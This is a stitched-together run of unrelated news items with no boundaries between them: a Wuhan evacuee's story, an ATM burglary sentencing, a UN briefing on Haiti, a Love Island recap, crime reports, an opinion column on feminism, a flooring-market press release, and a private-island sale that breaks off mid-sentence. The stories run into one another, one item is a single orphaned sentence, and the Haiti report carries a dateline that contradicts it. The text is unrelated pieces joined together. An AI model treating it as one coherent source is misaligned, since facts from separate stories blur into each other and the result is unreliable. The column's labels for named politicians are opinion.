coronavirus. To date, around 2,000 people have died from the virus, and 75,000 cases have been identified worldwide. Medical authorities and the World Health Organisation have been on a race against time to halt its spread around the world. Researchers at the London School of Hygiene & Tropical Medicine (LSHTM) have estimated the number of new cases in Wuhan may peak mid and late February. Yet even the experts admit that uncertainty still looms large when it comes to the coronavirus trajectory. Expand Close Ben Kavanagh, who works as a teacher in the city / Facebook Twitter Email Whatsapp Ben Kavanagh, who works as a teacher in the city Read More Kilcullen native Kavanagh didn't know it at the time, but his life in China, where he has lived for two years, was about to be upended. Within a few short weeks, Kavanagh would be airlifted out of China and placed in quarantine in Liverpool but not before going viral and trending worldwide on YouTube first. After the story broke in late December, it quickly became clear that this was no typical viral outbreak. On January 4, health authorities in Wuhan reported 44 cases of coronavirus. Less than three weeks later, 291 cases had been reported in major Chinese cities, with the rest of Asia on red alert for potential cases. Soon, transit in and out of Wuhan, the city five hours away from Beijing where most of the cases had been detected, was shut down. "The airport had shut down and soon the whole city was on lockdown," Kavanagh recalls. "When it first started, you heard that [coronovirus] was particularly bad for the elderly, or those with underlying health problems, but you would fear for those people's lives if you heard there was a flu going round." The media attention started to intensify, and soon Kavanagh and his friends were starting to worry. "My friends and I were chilling in my place and within the space of 20 minutes, we all separately had this freakout, like 'what is happening?'," he recalls. Expand Close Ben spent a fortnight in quarantine in the UK / Facebook Twitter Email Whatsapp Ben spent a fortnight in quarantine in the UK "I was in contact with the Irish embassy, who were great in keeping me updated. They were like, 'do you want to request an evacuation?' and I began to think that I might just take it." Read More Many of Kavanagh's Irish friends decided to stay put: "Most of them have young families there," he explains. "About nine of us had a little WhatsApp group and they told me that they had decided to stay." Posting videos of an eerily quiet Wuhan to YouTube, Kavanagh woke one morning to find that he was trending number 1 worldwide on the video-sharing site. Channel 4 had run a particularly eerie video of Kavanagh visiting a deserted supermarket in downtown Wuhan, turning the Kildare man into an overnight sensation. "It was absolutely mad - I was laughing the whole time," Kavanagh days. "I was in my apartment laughing like an insane person. The comments and the positivity around the videos was something else. I had planned on setting up a YouTube vlog, and now it's interesting to see that people want to listen to what I have to say." Kavanagh's family, meanwhile, had convinced Kavanagh to leave on a flight out of Wuhan, for the UK. "Things were getting worse, and more infections and more deaths were being announced," Kavanagh recalls. "I'm in close contact with my family, especially my father and mother, and an Irish mammy always wants the best for you. So they put everything into perspective and told me it was a better idea to get out." Still, Kavanagh fled Wuhan with mixed feelings. "I'm still worried that I won't get my life there back," he admits. "I had a lovely apartment and my entire material life is there. Life is on pause at the moment, which is grand, because I get to see family and friends." into the UK on a half-empty flight, Kavanagh was surprised to be greeted by British people at the airport wearing masks. The evacuees (Kavanagh was among three Irish people to leave Wuhan) were informed that once they touched down at an RAF base, they would spend a fortnight in quarantine in the Wirral, near Liverpool. Kavanagh whiled away the hours playing poker and the odd game of pool, and busied himself with making videos that he uploaded on YouTube. He also managed to send teaching assignments back to his class in China. "I was told there were 83 of us in quarantine, but I never saw close to that many people," he recalls. "I knew some of the people there form the Wuhan foreign community, as we're quite close-knit, but I stayed in my room a fair amount." Kavanagh is currently decompressing in his mum's apartment in Liverpool, after his fortnight in quarantine in the Wirral. He plans to return to Ireland next week, where he will 'couchsurf' with friends and family for a while. It's the latest chapter in an extraordinary journey that began for Kavanagh with a simple email. "After college, I was looking for jobs, and my contact details were all over job websites," Kavanagh explains. "I got an email asking me if I wanted to work in China, and it was as simple as that." With a plan to travel the world, Kavanagh ended up in Wuhan, in the province of Hubei. "I never understood how people experienced culture shock before, but this is a completely different part of the world," Kavanagh reveals. "Places like Shanghai and Beijing are fairly westernised, but Wuhan is still properly Chinese. It has a great foreign community, so there's the best of both worlds there." Soon, Kavanagh's life in the city began to settle. He was given an apartment and room-mates by his employers, and his social life took off. "There's an Irish bar run by a Dublin lad two subway stops away from me, so it was a great taste of home, getting to hear the accent," Kavanagh explains. His plan now is to return to Wuhan, renew his teaching contract and stay there indefinitely. He hopes that Wuhan will open back up to travellers in mid- to late-April. "I'm looking forward to getting back," he notes. "It's been interesting to see Wuhan put on the map," he adds. "Most of the time, I tell people about Wuhan, this place that's even bigger than London, and most people will just say, 'I've never heard of it'." Suffice to say that this is no longer the case. Vindoulou, Congo (PANA) - The Congolese minister of Economy, Industry and Public portfolio, Gilbert Ondongo, Thursday announced here that industry contributed only 8 percent of the countrys national wealth A man who bought his own Jaws of Life tool and used it to force open ATMs in Greenwich, stealing more than $100,000 in the process, was sentenced by a Stamford judge to eight years in prison. The sentence represents a resolution to several other cases in which the defendant, Josha Moore, stood accused of employing the powerful tool, typically used by firefighers to remove motorists from crashed cars, at a number of ATMS around the state. Moore, 41, of Shelton, was sentenced by Judge Gary White after making guilty pleas to counts of third-degree burglary and first-degree larceny related to the Greenwich thefts. The sentence was part of a plea agreement made between his public defender Barry Butler and Supervisory Senior Assistant States Attorney Paul Ferencek. When asked if he had anything to say Moore declined comment and Butler simply asked White to go through with the plea agreement without adding anything further to the record at the brief morning hearing in a fourth-floor courtroom. After the hearing Butler said, Im pleased we were able to keep the global disposition together. It was a very complicated case. Moore was arrested at the end of January 2019 on felony charges of first-degree burglary, larceny and criminal mischief for the offenses in Greenwich and was held at the Bridgeport Correctional Center unable to post a $250,000 court-appearance bond. Since his Greenwich arrest, Moore has been charged with similar burglaries for using the life-saving tool to crack open ATMs in Stratford, Derby, Monroe, Canton, Clinton and Stonington. Moore is a convicted felon who was found guilty of using a blow torch to cut a cash box out of an ATM in Brewster New York in 2011. He was also convicted in 2013 of trying to burglarize one of the same Greenwich locations where the battery-powered Jaws of Life mechanical spreading tool was later used to wrench apart an ATM. According to his 12-page arrest affidavit written by Greenwich Detective Daniel Bucci, Moore is a possible suspect in as many as 18 such ATM thefts in Connecticut and New York committed since he obtained the Holmatrol-brand Jaws of Life from eBay in the summer of 2016. Moore is charged with breaking into the Shell Station at 129 E. Putnam Avenue on Aug. 14, 2017, cracking open the ATM and stealing $49,160. He is accused with doing the same thing to an ATM at 120 Post Road on Nov. 14, 2017, and stealing $26,000, before returning to the same address on Feb, 22, 2018, and stealing $32,180 from a replacement machine. Bucci identified him as a suspect when he saw that Moore had been caught in 2012 while trying to burglarize the same Putnam Avenue Shell station and was later convicted of third-degree burglary. Bucci discovered that Moore was also a suspect in a burglary at a Greenwich McDonalds where someone tried to use a blowtorch to break into the restaurants ATM. With that information, Bucci entered Moores license plate number into his departments license plate database to see if his vehicle had been observed by the readers on Greenwich Police cars. The search turned up two hits for Moores 2001 BMW 7 series car, corresponding with the Post Road burglaries, the affidavit said. Searching Moores bank accounts, Bucci found that Moore made large deposits right after the three burglaries, the affidavit said. jnickerson@stamfordadvocate.com CAMEROON, Cameroon - The political impasse that has paralyzed Haiti is sending its economy deeper into recession, with 4.6 million people needing humanitarian aid and there is no immediate end in sight, the U.N. envoy for Haiti said Thursday. Helen La Lime told the U.N. Security Council that the Western Hemispheres poorest country is about to enter a second year with a caretaker government. She warned that the effects of the strained economy and prolonged political polarization risk further affecting the integrity and effectiveness of key institutions, such as the Haitian National Police. To avoid further deterioration, she said, Haitian leaders must rise to the occasion and commit to a way out of this impasse that will best serve the interests of their people. Haiti has been roiled by street protests and economic stagnation for much of President Jovenal Moises nearly three years in office as opposition leaders demand his departure. They say he has mismanaged the economy and failed to prosecute years of unbridled corruption that siphoned billions in international aid into bank accounts overseas. His opponents have failed, and Haitis parliament shut down in January because of the chaos, eliminating the check on presidential power that paralyzed Moise for years. He is now ruling by executive order. La Lime said she has worked alongside the special representative of the Organization of American States and the Apostolic Nuncio in Haiti to try to create an environment that would resolve the crisis and catalyze a reform effort aimed at restoring the populations confidence in the state. That would mean ensuring that the most vulnerable people receive much-needed basic services and laying the groundwork for timely elections, she said. During two rounds of negotiations in mid-December and late January, La Lime said, a consensus emerged around a political agreement with four elements criteria for forming a government, contents of a reform agenda, sequencing of a constitutional reform process, and defining an electoral calendar. Despite progress, La Lime said, political actors have yet to settle on a formula that would lead to the designation by President Moise of a consensual prime minister and the formation of a new government. She said the lack of agreement on this, and on the remaining length of Moises term, threatens to needlessly prolong a situation that has already lasted too long. Even with a political agreement, La Lime said, the road towards improved governance through systemic reform will be arduous because of entrenched factors including high levels of poverty, pervasive gender inequality, limited access to social services, severe depletion of natural resoures and the scourge of gangs, corruption and impunity. She addressed the council two days after the United Nations issued a scathing report that accused Haitian police of not protecting an impoverished neighbourhood from corrupt officers and gang leaders that they said shot at people and set fire to homes and cars in a three-day attack. The report urged local authorities to prosecute those responsible for the violence that erupted in November in the Bel Air neighbourhood, a largely pro-opposition community in the capital of Port-au-Prince known for organizing anti-government protests. La Lime noted the report by the U.N. political mission that she heads and the U.N. human rights office also makes recommendations to authorities on how to improve justice for victims, provide accountability and curb criminal gangs. Only through a combination of strong national will and steadfast international support can Haiti surmount the multifaceted crisis with which it is contending, she said. Mike and Priscilla have been dumped from the Love Island villa just days before the final which will take place on Sunday evening. At the end of Friday's show, the Islanders were ordered to gather around the fire pit immediately as Luke M admitted their day had been 'too good to be true'. Luke M received a text which revealed the public have been voting to save their favourite couple, and those with the least votes would be dumped that night. Home time: Mike and Priscilla have been dumped from the Love Island villa just days before the final The safe couples were revealed in no particular order as the contestants received texts to make them aware of the couples who would be in the final. Paige and Finn were the first couple to be saved, followed by Jess and Ched, Siannise and Luke T and finally Luke M and Demi. After leaving the show, Mike detailed his plans to move to London and how he thinks he many have found a lifelong partner in Priscilla. When asked how it feels to leave with Priscilla by his side, he said: 'It feels good. I came in hoping I was going to find someone I could spend the rest of my life with and potentially I feel like that's where I'm going with Priscilla. Love: The couple have left the villa as boyfriend and girlfriend Time to say goodbye! The Islanders were ordered to gather around the fire pit immediately as Luke M admitted their day had been 'too good to be true' 'We're excited. We'll see what the world has to offer us. Detailing how they'll make it work on the outside, he said: 'My plan was always to move to London, which I will do. 'We'll meet family again and friends and catch up, settle back into reality. But my move down to London makes it easier for the two of us.' Tense: Luke M received a text which revealed the public have been voting to save their favourite couple, and those with the least votes would be dumped that night Safe! The safe couples were revealed in no particular order as the contestants received texts to make them aware of the couples who would be in the final During the exit interview, Priscilla admitted that she didn't think she would leave the show with a boyfriend and is surprised to be able to call Mike her boyfriend. She said: 'I said to Mike the other day, "I've got a boyfriend!" I didn't expect to find someone, I thought I may walk out of this single. So to have a boyfriend - who asked me in front of the world - it was so surreal but I'm happy it's Mike.' Discussing their love story, she said: 'He definitely looks good, for one. Even though he was in different situations, he was always honest and straight up about it. Nerves: Paige and Finn were the first couple to be saved, followed by Jess and Ched, Siannise and Luke T and finally Luke M and Demi 'Honesty goes a very long way for me, as well as transparency. When we met in person it was like we always knew each other. It just felt so relaxed. 'His eyes were set on me. From the start he has been so transparent and hes only had eyes for me.' At the start of the show after returning to the main bedroom following their night in the hideaway Jess and Ched remained coy over their bedroom antics, as they joked he was tired after their work out during the talent show. The Islanders were set for a big day ahead as their families entered the villa to offer their verdict on their relationships and reunite with their loved ones. Siannise was the first to receive a text, which she opened to find a selfie of her sisters with Luke T's parents and burst into tears when she realised what it meant. Shock: Siannise was the first to receive a text, which she opened to find a selfie of her sisters with Luke T's parents and burst into tears when she realised what it meant Moments later they arrived in the Villa and offered warm hugs all round. As they have an emotional reunion, Luke T's dad told his son: 'I'm so proud of you so are all the family at home, including the grandparents. Your grandad is watching Love Island!' Luke T's mum added: 'People keep coming to me and saying, 'You should be so proud of him.' You're a beautiful kid, you probably don't even know it. We are a very proud family.' Welcome! Moments later they arrived in the Villa and offered warm hugs all round Proud: Luke T's mum added: 'People keep coming to me and saying, 'You should be so proud of him.' You're a beautiful kid, you probably don't even know it. We are a very proud family' Siannise's sisters told her: 'Everyone is so proud of you, Luke T is adorable.' Luke T's mum made a cheeky dig at the breakfast club as she asked: 'So tell me about the breakfast, as she then backtracked and admitted 'actually don't!'. They quickly moved onto more romantic topics as Luke revealed that he and Siannise had dropped the L-bomb and his mum proceeded to burst into tears. Breakfast? Luke T's mum made a cheeky dig at the breakfast club as she asked: 'So tell me about the breakfast, as she then backtracked and admitted 'actually don't!' In the Beach Hut Siannise admitted: 'Meeting Luke T's parents. Honestly they are amazing. I just love them!' Hello! Siannise's sisters gave Luke T their seal of approval during their chat In the Beach Hut Siannise admitted: 'Meeting Luke T's parents. Honestly they are amazing. I just love them!' Luke T added: 'That was just absolutely surreal. To see my parents I can't even speak. I can't even describe the feeling.' Next to arrive were Demi and Luke M's family and friends. Luke M told his parents: 'I've been missing you since day one!' Reunion: Next to arrive were Demi and Luke M's family and friends Touching: Luke M told his parents: 'I've been missing you since day one!' Luke M's mum said: 'I think the worst day [without you] was on my birthday. I'm trying not to cry. I'm so proud of you you have been yourself.' Luke M joked: 'I could hear my mum's heels from miles away and my dad. Seeing them walk in was a feeling I've never experienced, ever.' Demi's mum said: 'You've been amazing and you've made me the proudest mum ever.' Proud: Demi's mum said: 'You've been amazing and you've made me the proudest mum ever' Demi said in the Beach Hut: 'This is like the best day of my life. I am on Cloud 9. I can't even express how I feel right now' Luke M was unable to hold back tears as he reunited with his parents. Both Luke and Demi's parents admitted they approved of their pairing, as they confessed they were very well suited. Demi said in the Beach Hut: 'This is like the best day of my life. I am on Cloud 9. I can't even express how I feel right now.' Luke M's mum said: 'When you picked Demi I was like 'yes!'. Approval: Luke M's mum said: 'When you picked Demi I was like 'yes!' The next surprise for the Islanders was the arrival of Mike's brothers and Priscilla's mum and brother. As Priscilla admitted she didn't think she'd find someone, Priscilla's mum said: 'That's why they call it Love Island you're supposed to be here, get to know the person and learn about each other.' Mike's brothers told him how their mum is feeling: 'She is extremely proud of you.' Happy: The next surprise for the Islanders was the arrival of Mike's brothers and Priscilla's mum and brother On reuniting with his brothers Mike said: 'Wow, to be honest, I'm lost for words. I don't even know what to say anymore. That topped it off. 'I'm just so happy that mum is proud of me and she's watching and I'm making her happy.' Priscilla's mum let Mike know that there are certain rules to follow when it comes to her daughter, with him insisting he'll do 'whatever it takes'. Elated: Mike's brothers told him how their mum is feeling: 'She is extremely proud of you# Moments later in true Paige style, her dad entered the Villa and jokingly called to Finn: 'Oi big boy you got a minute?' Paige then ran over to her parents who assured her that everyone is so proud of her on the outside. And Finn's own dad joked to him: 'I've learnt so much about you in five weeks more than I have in 20 years. Certainly the old foot fetish was a big one' He also picked up on the 'breakfast club' and goes on to joke: 'We've seen the old breakfast club chat' Finn laughed: 'Don't talk about that!' Oi big boy! Moments later in true Paige style, her dad entered the Villa and jokingly called to Finn: 'Oi big boy you got a minute?' Back together: Paige then ran over to her parents who assured her that everyone is so proud of her on the outside Finn's mum told him: 'You've done brilliantly. Everyone's missing you. Very, very, very proud.' Paige's mum laughed to her and said: 'You just always hear, 'Finn!' I can really tell you're invested. It's nice to watch.' Paige's dad added: 'The 'Ice Queen' has melted a big puddle. It's a different level I've never seen that before. You look happy.' Learning a lot! And Finn's own dad joked to him: 'I've learnt so much about you in five weeks more than I have in 20 years. Certainly the old foot fetish was a big one' Playful: He also picked up on the 'breakfast club' and goes on to joke: 'We've seen the old breakfast club chat' Finn laughed: 'Don't talk about that!' Paige later admitted in the Beach Hut: 'I was more worried what Finn's parents would say! You want to make a good first impression with the in-laws. And finally Jess and Ched's parents arrived. Jess said to her dad: 'I can't believe you're here in Cape Town. I said surely not my dad, he hates flying! He can't even go to Cornwall without causing a stir.' Hug: And finally Jess and Ched's parents arrived Jess's mum opted to open up and told her: 'You look at ease.' But her parent's arrival isn't the only excitement for Jess because her twin sister Eve was back, too. The two girls were unable to hold back as they reunited. And as Eve walked through the door, the sisters had a heart-warming and emotional reunion. Shock: Jess said to her dad: 'I can't believe you're here in Cape Town. I said surely not my dad, he hates flying! He can't even go to Cornwall without causing a stir' Feels so good: But her parent's arrival isn't the only excitement for Jess because her twin sister Eve was back, too. The two girls were unable to hold back as they reunited' A stunned Jess admitted: 'When Eve came through - I couldn't believe it! It's the best feeling! Every time something good happens, I wish Eve was in here to enjoy it with me. It was crazy having her back right beside me in this villa - it's all I've wanted.' All Jess was after was Eve's seal of approval which she received when she told her that she thought Ched was perfect for her. Jess' dad joked that he has ordered a bigger fridge for when he comes to Cambridge to stay for the weekend. A U.S. Customs and Border Protection (CBP) employee allegedly shot and killed his wife and two sons in Florida before killing himself, according to the Orange County Sheriffs Office. Police went to the familys home around 3 p.m. on Thursday after receiving a call from CBP that the man had not been heard from. Upon further investigation, authorities found that other members of the family had not been heard from either, Sheriff John Mina said in a press conference. Deputies entered the house and found four bodies inside with gunshot wounds. Mina says they believe the man shot and killed his wife, middle school-aged son, high school-aged son, and then himself. The sheriffs office is not identifying the deceased at this time, but said the CBP employee worked at the Orlando International Airport. They added that there were no records that the sheriffs office had been called to the home previously. The-CNN-Wire & 2020 Cable News Network, Inc., a WarnerMedia Company. All rights reserved. Where Have All the Feminists Gone? Commentary Feminists are so ignorant of history and focused on hating the patriarchy that theyve lost sight of any real goals, eschewed progress for progressive mantras, and are hurting their cause more now than ever. Women enjoy just as much equality as men under the law, but theyre so blinded by a politically correct agenda, they fail to see this, celebrate this, and instead, they sometimes appear to work against progress made. For example, theres a push to ratify the Equal Rights Amendment into the Constitution. It sounds good. Equal rights for all! Except its not only redundant but might prove itself to be harmful to women. For starters, women already have equal rights under the law. Federal and state law prohibit sex discrimination, and women have had the right to vote for decades. The Equal Rights Amendment may strip women of some benefits Title IX gives them, especially related to sports. The Equal Rights Amendment may also put additional pressure on corporations to hire women for their gender rather than on merita move that may eventually hurt employer and employee, if women fail to be up to the task. These are just a couple of examples of ways the Equal Rights Amendment could be twisted to hurt rather than help women who already enjoy legal equality. Culturally, women enjoy more gender parity in the United States than ever before, and certainly more than in many other countries. While theres no doubt some progress still to be made, the battle cry for women to appear in every industry equally as men do isnt only impossible but silly and, in fact, could hurt industries if standards are adjusted to acquiesce to parity over quality. At the Oscars, which aired recently, Natalie Portman had the names of female directors who had not received acknowledgement for a nomination embroidered on her outfit. Unfortunately, Portman herself admitted later shed only worked with a few female directors her entire careerand 44 men. Perhaps in admitting this, Portman succeeds in making her pointfew female directors are available with whom to work. However, while its admirable to encourage women to direct films, and to be noticed for it, emblazoning the names of great female directors on a cape doesnt seem like the best way to go about it. In fact, one of the best films of the year, Harriet, a moving biopic about abolitionist Harriet Tubman, was not only directed by a woman and stars a woman but was nominated for multiple awards. Despite its incredible subject matter and accolades, few feminists applauded the woman or the film; conversely, it received criticism because the abolitionist movement is apparently boring and rarely features enough nuance. Theres no reason feminists shouldnt commemorate a woman such as Tubman. In honor of Black History Month, she and Frederick Douglass were recently inducted into the Maryland state capitol with statues to honor their role as abolitionists. With the lefts intent focus on feminism and womens rights, Im shocked its taken so long for such a moving biopic to be made, and for Tubmans role as an abolitionist to be recognized publicly. Some might say its because feminists have accomplished so much the film was made, and that could be true, but unfortunately, it didnt receive the support from feminists it should have. In fact, I cant think of a woman who embodies the original feminist movement more: Brandishing a gun and a passion for freedom, Tubman liberated hundreds of slaves through the Underground Railroad, making the trek back and forth dozens of times. After becoming the countrys foremost female abolitionist, she fought for womens suffrage. Tubmans story is brave, iconic, and overtly feministfighting for actual freedom from bondagebut feminists deemed it too traditional to be lauded. Even now, in terms of politics, the feminist left comes across as hypocritical. They criticize women on the right for standing up for the unborn, but at the same time, the Democrats leading the race to be the presidential nominee are both pro-choice men who advocate policies that would hurt women. Several of the female Congress members who have been elected and are crowd favorites among feministsAlexandria Ocasio-Cortez (D-N.Y.), Rashida Tlaib (D-Mich.), and Ilhan Omar (D-Minn.)are uninformed, bigoted, and allegedly corrupt, respectively. Is this really the best feminists can do when it comes to politics and policy? True feminists advocated for legal and societal rightswhich they finally won after a hard-fought struggle. Today, the real feminists have disappeared or are ignored. In their place, progressive feminists fight battles theyre losing, not realizing they won the war for equality long ago. If theyd figure that out, they could celebrate cultural victories and face legal endeavors for more equality with nuance and perspective. Nicole Russell is a freelance writer and mother of four. Her work has appeared in The Atlantic, The New York Times, Politico, The Daily Beast, and The Federalist. Follow her on Twitter @russell_nm. Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times. Hungary is ready to continue to provide comprehensive assistance to Ukraine and to support its sovereignty and territorial integrity. We, the Hungarians, will continue to uphold the territorial integrity and sovereignty of Ukraine. We will continue to provide economic and humanitarian support and assistance to our Ukrainian friends, they can continue to count on us, Minister for Foreign Affairs and Trade of Hungary Peter Szijjarto said at the UN General Assembly meeting on Thursday, an Ukrinform correspondent reports. The Hungarian Foreign Minister added that his country had allocated EUR 225 million for comprehensive support to Ukraine since 2014. Hungary wants Ukraine to be a strong, safe and prosperous democratic country, Szijjarto stressed. ol STATEN ISLAND, N.Y. -- A 27-year-old man is accused of stabbing a victim during an attempted robbery on an MTA bus in Tompkinsville on Saturday. Two NYPD officers in the 120th Precinct garnered citywide recognition via social media for their stellar efforts to save the life of the man injured in the attack. A post on the NYPD News Twitter feed praised Officers Fraumeni and Gramlich for their quick response at about 4:45 p.m. Saturday in response to a 911 call of a person stabbed aboard a bus. The officers were instrumental in the victim receiving appropriate medical assistance and taking a bad guy off the streets by apprehending the suspect, according to the NYPD News post. Over the weekend Officers Fraumeni & Gramlich of the @NYPD120Pct responded to a 9-1-1 call for a man stabbed on a bus. After their quick response they were able to get the victim the appropriate medical assistance & apprehend the man responsible taking a bad guy off the streets. pic.twitter.com/iXDHgDI1Ym NYPD NEWS (@NYPDnews) February 19, 2020 Authorities identified the suspect as Errick Harvie, 27, of Lockman Avenue in Mariners Harbor. The assault occurred in the vicinity of Victory Boulevard and Monroe Street, according to the criminal complaint. The suspects defense attorney denied the charges. Mr. Harvie is looking forward to being vindicated from the false allegations of a felon on parole, said Attorney Manuel Ortega. Upon arrival, officers were informed by the 32-year-old male victim that he was approached by the suspect, who demanded money and threatened to harm him, according to police. Give me $20 or Ill stab you," the criminal complaint quoted Harvie as saying to the victim. Do you want me to cut you? When the victim refused to hand over any money, Harvie used a knife to stab him once in the upper torso, the complaint alleges. The suspect fled and officers conducted a canvass for Harvie, who was arrested about a half hour later. The victim positively identified Harvie as his attacker, according to police. EMS transported the victim to Richmond University Medical Center in West Brighton in stable condition. The victim experienced substantial pain and bleeding, according to the complaint. The suspect has been charged with attempted robbery, attempted grand larceny, assault and criminal possession of a weapon. Harvie was convicted of burglary in Criminal Court in Manhattan and sentenced in April 2018 to one year in jail, according to the complaint. He is scheduled to appear on Friday in Criminal Court and his bond has been set at $150,000/$50,000 cash. DUBLIN, Feb. 21, 2020 /PRNewswire/ -- The "Raised Access Flooring Market - Global Outlook and Forecast 2020-2025" report has been added to ResearchAndMarkets.com's offering. The global raised access floor market is expected to grow at a CAGR of over 2% during the period 2019-2025. Key Market Insights The analysis of the global raised access floor market provides sizing and growth opportunities for the forecast period 2020-2025. Provides comprehensive insights on the latest industry trends, forecast, and growth drivers in the market. Includes a detailed analysis of growth drivers, challenges, and investment opportunities. Delivers a complete overview of segments and the regional outlook of the raised access floor market. Offers an exhaustive summary of the vendor landscape, competitive analysis, and key strategies to gain competitive advantage. The usage of raised access flooring technology is increasing due to the growth in the construction market. The optimal use of floor space is one of the primary reasons for the growth of this technology. The increase in building permits for private residential houses and the growth of commercial construction are key factors influencing the market significantly. The demand for raised access floor is also stemming from retrofit projects, which is expected to aid the global raised access floor market during the forecast period. The increase in the number of data center projects is another contributor to the market growth. The US, China, Germany, India, Japan, UK, and Singapore were the most preferred locations for the development of hyperscale data centers in 2019. More than 70 hyperscale data centers were opened or under construction in 2019. Moreover, the US alone is likely to add around 30 hyperscale data center facilities by 2023. For instance, GIGA Data Centers opened a 60 MW data center facility in North Carolina, the US in 2019. Apple announced its plan to invest $10 billion in data centers across the US in the next five years in December 2018. Hence, increased investments from hyperscale service providers are expected to benefit raised access flooring manufacturers. Raised Access Floor Market: Segmentation This research report includes detailed segmentation by type, end-user, and geography. Steel-based raised access floor is witnessing major demand as it offers high durability and can accommodate major types of floor finishing. The market for steel-based panels is leading as the availability of steel as raw material is in abundance. The demand for steel panels is expected to grow further as they are the first choice among first-time users. The segment is also growing because steel panels prevent deformation, thereby easing calibration. The demand from renovation construction is also high for steel panel flooring. However, the volatility in steel is a restraining factor for the market. The US government's decision to impose a tariff of 25% and 10% on steel and aluminum, respectively, sourced from China is likely to hamper the growth of the steel concretes. The raised access floor technology is finding increasing application in data centers across the world. The increasing internet penetration in countries such as the US and Canada is growing. This rate is likely to increase further as the adoption of smartphones and handheld connected devices is increasing, thereby increasing data consumption. The data growth is also attributed to technological advancements in the past decade, such as cloud computing, big data, and the internet of things (IoT). Hence, the increased data consumption is leading to development data centers, which, in turn, increase the demand for raised access floors. Commercial office real estate remains a major construction activity in the overall urban development. The growth in office spaces has increased globally, with some regions exhibiting rapid progress on account of their economic growth. For instance, in India, during H1 2019, the office space leasing crossed 30 million square feet, which was an increase of around 40% than 2018. The increasing need for office spaces with low maintenance cost and highly sustainable facilities is expected to increase the demand for raised access floor during the forecast period. Insights by Geography A large part of demand in North America comes from new construction projects that are expected to drive the market. The demand for raised access floor in the region is driven by the massive size of end-user industries such as data centers; commercial enterprises such as retail, semiconductor, aerospace; and sizeable public utility centers. The region stands as a leader in innovative manufacturing practices, reinforced by comprehensive product development with an emphasis on energy-efficiency, reduced lifecycle costs, and sustainability. The growth in the general commercial construction demand and the high availability of low-cost labor has boosted the growth in the APAC region. The major drivers in the APAC region include the growth of data centers market on account of the growing number of internet users, the increased use of social media, and high smartphone penetration, the increased adoption of public cloud and hybrid cloud services, and the need for enterprises to migrate from server rooms to data centers. The European market for raised access floor is strong in Western Europe, where the data center footprint is high, especially in the Netherlands, the UK, France, and Germany. The market in Southern Europe is expected to grow steadily. The construction market in Europe is more agile in adopting new technologies than the US. Office spaces, utility centers, and commercial buildings in key cities with high construction activities make use of floor panels. The European region has a significant number of trade agreements that favor trade liberalization and help seamless sourcing, with reduced complexity with respect to duties and taxes on floor panels, and floor finishes products. Insights by Vendors The global raised access floor market is highly fragmented, with no major vendors having a significant share. The market is characterized by vendors that are application-specific, product-specific, or multiple-service providers at any point in time. The selection criteria mainly depend on access to raw material, pricing models, and portfolios. The competitive landscape of the industry is scattered across different geographical regions and flooring type variations. The market is divided into developing and developed regions, with a high variation in the demand and supply ratio. The market is in a nascent stage of growth. The growth is expected to be majorly driven by data centers and office spaces. The competition is currently stiff in the data center and workspace segments, as several companies are looking to gain the first-mover advantage. Key Topics Covered 1 Research Methodology 2 Research Objectives 3 Research Process 4 Scope & Coverage 4.1 Market Definition 4.2 Base Year 4.3 Scope of The Study 4.3.1 Market Segmentation by Geography 5 Report Assumptions & Caveats 5.1 Key Caveats 5.2 Currency Conversion 5.3 Market Derivation 6 Market at a Glance 7 Introduction 7.1 Overview 7.2 Construction Industry Pricing Model 7.3 Contract Model In Construction Industry 7.3.1 Open Bidding 7.3.2 Closed Bidding 7.3.3 Negotiated Bidding 7.4 Internet Penetration 8 Market Opportunities & Trends 8.1 5G Deployment to Increase Edge Data Center Investments 8.2 Rise of Industry 4.0 8.3 Growth in Infrastructure at Airports 9 Market Growth Enablers 9.1 Growth in Construction Sector 9.2 High Degree of End-user Variability 9.3 Increasing Construction of Hyperscale Data Centers 10 Market Restraints 10.1 Low Penetration Rates in Developing Regions 10.2 US-China Trade Issues 10.3 High Dependence on Data Centers 11 Market Landscape 11.1 Market Overview 11.1.1 Key Insights 11.2 Five Forces Analysis 11.2.1 Threat of New Entrants 11.2.2 Bargaining Power of Suppliers 11.2.3 Bargaining Power of Buyers 11.2.4 Threat of Substitutes 11.2.5 Competitive Rivalry 12 Panel Type 12.1 Market Snapshot & Growth Engine 12.2 Market Overview 12.3 Steel Concrete 12.4 Calcium Sulphate Board 12.5 Chipboard Core 12.6 Others 13 End-user Segmentation 13.1 Market Snapshot & Growth Engine 13.2 Market Overview 13.3 Data Center 13.4 Office Workspaces 13.5 Commercial Buildings 13.6 Command Centers 13.7 Others 14 Geography 14.1 Market Snapshot & Growth Engine 14.2 Geographic Overview 15 North America 16 APAC 17 Europe 18 Middle East & Africa 19 Latin America 20 Competitive Landscape 20.1 Competitive Scenario 21 Company Profiles 21.1 Lindner 21.1.1 Business Overview 21.1.2 Products Offerings 21.1.3 Applications 21.2 Knauf 21.3 Exyte Technologies 21.4 Gamma Industries 21.5 Everest Industries Ltd. 21.6 Kingspan 21.7 Eurodek 21.8 Comey 21.9 JVP 21.10 United Office Systems Private Limited 21.11 AET Building Products 21.12 Haworth 21.13 Polygroup 21.14 Bathgate Flooring 21.15 Mero-Tsk 21.16 Jansen Access Floor 21.17 Porcelanosa 21.18 Lenzlinger 21.19 Veitchi Flooring 21.20 CBI Europe 21.21 AKDAG S.W. 21.22 ASP Access Floors 21.23 Huatong Xinli Flooring For more information about this report visit https://www.researchandmarkets.com/r/tixk1g Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1907 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com No Mans Island, in Grassy Sound, near West Wildwood, is being sold for $200,000. Read more Off the tropical oasis that is the Jersey Shore, a 19-acre private island is a short boat ride away. While the Wildwoods may be crowded with tourists on its five miles of free beaches, this nearby enclave is empty. Though, according to its previous owner and a New Jersey official, it is most likely uninhabitable. Still, the owner, Omer Fahim, of Queens, N.Y., is looking to sell the island, named No Mans Island, which he bought three years ago for $7,000, for the price of $200,000. Fahim, a 31-year-old software engineer, boasts of the islands views. Though he acknowledged it is at most three feet above water (and lower in other areas), the posting claims it can be raised with proper permits, allowing for a multitude of development scenarios. The island doesnt seem fit for a Jersey Shore summer home. It is mapped as coastal wetlands, tides rise and fall around it, and it is not within a sewer-service area, said Larry Hajna, 